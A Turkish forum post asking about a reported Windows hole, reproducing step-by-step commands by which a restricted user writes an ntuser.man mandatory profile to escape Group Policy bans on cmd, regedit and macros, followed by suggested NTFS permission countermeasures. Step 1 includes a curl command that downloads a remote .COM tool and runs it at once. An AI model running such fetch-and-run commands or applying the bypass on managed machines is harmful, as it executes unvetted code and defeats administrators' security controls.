Windows Açığı

Tahribat.com Forumları
line

Microsoft Windows Ailesi İşletim Sistemleri
line

Windows Açığı

03/Eyl/25 11:28 Kısayol Şikayet Özel Mesaj
HanDSomE

Kayıt Tarihi: 21/Şubat/2005
Hocalar

Kurumsal dünyanın bildiği tanıdık bir sitede böyle bir bilgi mevcut. Adım 3 te yer alan .com dosyasını açıp uygulamayı gönlüm yemedi. Bu açığı bilen deneyen veya benzeri açıklar var mıdır?

Teknik Test Adımları ve Komutlar

Adım 1 – Kullanıcının registry’ye erişimi olup olmadığını test et:
```
WHOAMI.exe /USER
REG.exe ADD HKEY_CURRENT_USER\Software\Policies /VE
REG.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE
CHDIR /D "%USERPROFILE%"
CURL.exe -q -O -R https://skanthak.hier-im-netz.de/temp/GPOFFREG.COM
.\GPOFFREG.com

Bu araç, geçerli kayıt defteri değerlerini okur (Policies içermeyen) ve ntuser.man dosyasına yazar.
```
Adım 3 – Grup Politikası ayarlarını Admin ile uygula:
```
REG.exe ADD HKEY_USERS\%SID%\Software\Policies\Microsoft\Windows\System /V DisableCMD /T REG_DWORD /D 1

REG.exe ADD HKEY_USERS\%SID%\Software\Microsoft\Windows\CurrentVersion\Policies\System /V DisableRegistryTools /T REG_DWORD /D 1
```
< SID > kısmına, ilk komutta elde ettiğiniz kullanıcı SID değerini girin.

Adım 4 – Politikaların etkili olduğunu test et:
```
CMD.exe
REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S
REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S
```
CMD, regedit veya Task Manager gibi araçlara erişim olmamalı; “The command prompt has been disabled by the administrator

Adım 5 – Oturumu kapat ve yeniden aç

Bu aşamada sistem, ntuser.dat yerine ntuser.man dosyasını yükler. Kullanıcı artık politikaları bypass etmiş olur.

Adım 6 – Artık kayıt defteri erişimi mümkündür:
```
CMD.exe
REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S
REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S
```
Yukarıdaki işlemler normalde kısıtlı kullanıcıda hata verirdi.

Güvenlik Etkisi

Tüm kullanıcı profili politikaları etkisiz hale getirilebildiğinden, örneğin Office makro kısıtlamaları, cmd ve regedit yasakları, GPO ile engellenen ayarlar devre dışı kalabilir.

Önerilen Karşı Önlemler

Aaşağıdaki NTFS izin değişikliklerini öneriyor:

1. %USERPROFILE% dizininde dosya oluşturmayı engelle:
```
CHDIR /D "%USERPROFILE%"
CACLS.exe . /S
SET /P DACL=Copy the output and insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis
CACLS.exe . /S:%DACL%
```
2. ntuser.dat dosyasının DACL erişimini sınırlamak:
```
CACLS.exe ntuser.dat /S
SET /P DACL=Copy the output and insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis CACLS.exe ntuser.dat /S:%DACL%
```
Alıntı yap